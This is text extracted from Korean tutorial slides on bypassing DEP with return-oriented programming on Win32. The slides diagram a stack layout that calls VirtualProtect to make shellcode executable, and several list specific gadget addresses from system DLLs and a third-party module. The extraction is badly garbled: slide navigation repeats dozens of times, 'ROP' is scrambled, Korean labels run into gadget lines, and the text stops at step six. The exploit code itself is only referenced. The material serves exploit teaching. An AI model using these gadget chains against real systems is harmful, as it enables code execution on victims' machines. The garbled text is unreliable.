Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
두번째 인자 예약 공간에 값을 덮어씀 
EIP
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Control Flow of 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
Gadget B 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀 
Gadget E 
Gadget F 
Gadget G 
Gadget H
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Control Flow of 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
Gadget B 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀 
Gadget E 
Gadget F 
Gadget G 
Gadget H
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Control Flow of 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
Gadget B 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀 
Gadget E 
Gadget F 
Gadget G 
Gadget H
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Control Flow of 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
Gadget B 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀 
Gadget E 
Gadget F 
Gadget G 
Gadget H
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Control Flow of 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
Gadget B 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀 
Gadget E 
Gadget F 
Gadget G 
Gadget H
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Control Flow of 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
Gadget B 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀 
Gadget E 
Gadget F 
Gadget G 
Gadget H
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Control Flow of 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
Gadget B 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀 
Gadget E 
Gadget F 
Gadget G 
Gadget H
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Control Flow of 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
Gadget B 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀 
Gadget E 
Gadget F 
Gadget G 
Gadget H
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Control Flow of 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
Gadget B 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀 
Gadget E 
Gadget F 
Gadget G 
Gadget H
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Control Flow of 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
Gadget B 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀 
Gadget E 
Gadget F 
Gadget G 
Gadget H
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Control Flow of 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
Gadget B 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 (WWWW) 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀 
Gadget E 
Gadget F 
Gadget G 
Gadget H 
Execution
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Step by Step -1 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
두번째 인자 예약 공간에 값을 덮어씀
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Step by Step -1 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
0x5AD79277: 
# PUSH ESP # MOV EAX,EDX # POP EDI # RETN 다섯번째 [Module: 인자값 uxtheme.생성 
dll] 
0x77C1E842: 
# PUSH EDI # POP EAX # POP EBP # RETN [Module: msvcrt.dll] 
0x1001653D: 
# ADD ESP,20 # RETN [Module: MSRMfilter03.dll] 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
두번째 인자 예약 공간에 값을 덮어씀 
ESP를 레지스터에 저장하는 GadgetA-1 
인자 생성 코드로 점프하는 GadgetA-2
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Step by Step -1 
[ROP-3 코드 참조]
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Step by Step -2 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
두번째 인자 예약 공간에 값을 덮어씀
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Step by Step -2 
0x1002DC4C: 
# ADD EAX,100 # POP EBP # RETN [Module: MSRMfilter03.세번째 인자값 dll] 
생성 
0x77E84115: 
# MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI 
# RETN [Module: RPCRT4.dll] 
0x763C982F: 
# XCHG ESI,EDI # DEC ECX # RETN 4 [Module: comdlg32.dll] 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
두번째 인자 예약 공간에 값을 덮어씀 
첫번째 인자(쉘코드의 주소)값을 생성하는 GadgetC-1 
첫번째 인자 예약 공간에 값을 덮어 씌우는 GadgetC-2 
첫번째 인자 예약 공간의 주소를 생성하는 GadgetC-3
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Step by Step -2 
[ROP-4 코드 참조]
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Step by Step -3 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Step by Step -3 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
ESI 레지스터 값을 다시 되돌려놓는 GadgetD-1 
0x775D131E: 
# PUSH EAX # POP ESI # RETN [Module: ole32.dll] 
0x77157D1D: 
# INC ESI # RETN [Module: OLEAUT32.dll] 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
ESI를 증가시켜 두번째 인자 예약 공간을 가리키도록 하는 GadgetD-2 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀 
x4 반복(4bytes)
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Step by Step -3 
[ROP-5코드 참조]
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Step by Step -4 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀 
Gadget E
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Step by Step -4 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
ESI 레지스터 값을 다시 되돌려놓는 GadgetE-1 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀 
Gadget E 
0x775D131E: 
# PUSH EAX # POP ESI # RETN [Module: ole32.dll] 
0x100307A9: 
# XOR EAX,EAX # RETN [Module: MSRMfilt.dll] 
0x1002DC4C: 
# ADD EAX,100 # POP EBP # RETN [Module: MSRMfilt.dll] 
세번째 인자값 300을 생성하는 GadgetE-2 
X 3 반복
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Step by Step -5 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀 
Gadget E 
Gadget F
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Step by Step -5 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
Gadget F 
ESI 레지스터 값을 다시 되돌려놓는 GadgetF-1 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
Junk + NOP 
Shell Code 
ESP 를 레지스터에 저장 
인자 생성 코드로 점프 
EIP Gadget A 
VirtualProtect( )를 가리키는 포인터 
첫번째 인자 예약 공간 
두번째 인자 예약 공간 
세번째 인자 예약 공간 
네번째 인자 예약 공간 
다섯번째 인자 예약 공간 
첫번째 인자값 생성 
Gadget C 
첫번째 인자 예약 공간에 값을 덮어씀 
두번째 인자값 생성 
Gadget D 
두번째 인자 예약 공간에 값을 덮어씀 
Gadget E 
0x775D131E: 
# PUSH EAX # POP ESI # RETN [Module: ole32.dll] 
0x100307A9: 
# XOR EAX,EAX # RETN [Module: MSRMfilt.dll] 
0x1002DC4C: 
# ADD EAX,40 # POP EBP # RETN [Module: MSRMfilt.dll] 
세번째 인자값 300을 생성하는 GadgetF-2
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Step by Step -6 
세번째 인자값 생성 
